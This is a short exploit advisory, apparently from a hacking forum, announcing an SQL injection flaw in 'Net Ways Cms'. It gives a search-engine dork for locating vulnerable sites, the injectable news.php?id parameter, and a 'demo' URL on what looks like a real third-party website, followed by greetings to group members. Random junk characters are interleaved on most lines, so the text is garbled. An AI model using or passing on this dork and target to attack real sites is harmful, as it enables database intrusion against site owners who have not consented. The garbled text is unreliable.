################################################################################??######## 0 ~/ T% V( X8 A3 Q) J' a1 s* s
#
7 b% L$ ~+ ^$ c- n# Exploit Title : Net Ways Cms Sql Injection Vulnerability ! c8 t6 E- L% J, J
#
6 k1 w F! y% a/ h5 Y6 c( L4 ]# Author : IrIsT.Ir
2 @' y, E, O* Y1 z V& ]8 W; r# " L6 k( r5 z. }+ X' x% @
# Discovered By : Am!r
( U, k3 i% k J4 S. g0 ~#
8 {- F0 ~3 z' S. [# Home : http://IrIsT.Ir/forum
7 A; h c" g! K#
) H: m* n! { B% k- R* e! Y# Software Link : http://www.netways.com/ www.political-security.com, I- f" l' o! x5 G* [3 Y
#
! u b, F* m2 v3 R3 T# Security Risk : High
0 j8 v- c- l4 U4 k6 a# 2 y* s O1 @/ A ?
# Version : All Version * I3 k2 w, w, M5 z5 y
#
$ q8 L& B% K; t/ l/ n8 W) U) L# Tested on : GNU/Linux Ubuntu - Windows Server - win7
* {# ~' E4 ~9 [6 a# 2 a+ e& n+ B; p
# Dork : intext:"Designed & developed by NetWays"
( q4 [1 J1 ~. B( t( y* X1 c#
8 e5 k4 ^: A) S) O- U3 v; G! p& `################################################################################??######## S: T; A& t: F J N, v
#
6 A+ R. {! p0 f2 m/ a4 K7 v# Expl0iTs : 9 I Z! V- ~2 O8 H
#
$ @0 V3 v3 n# R* L) S# http://target.com/news.php?id=[Sql]
2 G: i3 k% |9 z# {- l; w$ K# + @1 ^' ~$ _* l9 S) F$ B
#
* E: u( A, D9 `6 F* Q. k1 P# D3mo : 7 \# g8 Z! M* p$ f3 [) p
#
$ r* k# V. k# o: r' I/ C; `# http://compagnieparento.com/news.php?id=7[Sql]
2 W# z% {% ]; d3 f# q9 Q4 G#
% d0 H* H6 z- n( ^################################################################################??########
' v# u$ D T+ z. ~9 z( Z( R! E, A, K# % [/ k, h& v! @1 A/ I# n
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
7 F' O, Y2 n5 j#
7 ~) A4 o3 T% J- J! s3 w4 M# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
, w! g. q, @1 Z3 _( Y3 N% B y# 7 w) l' S* S% ?$ j) a
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum 8 r4 n$ J* M; |0 R: Q3 [
#
% e2 C9 E& \$ ^0 m' F2 J################################################################################??######## |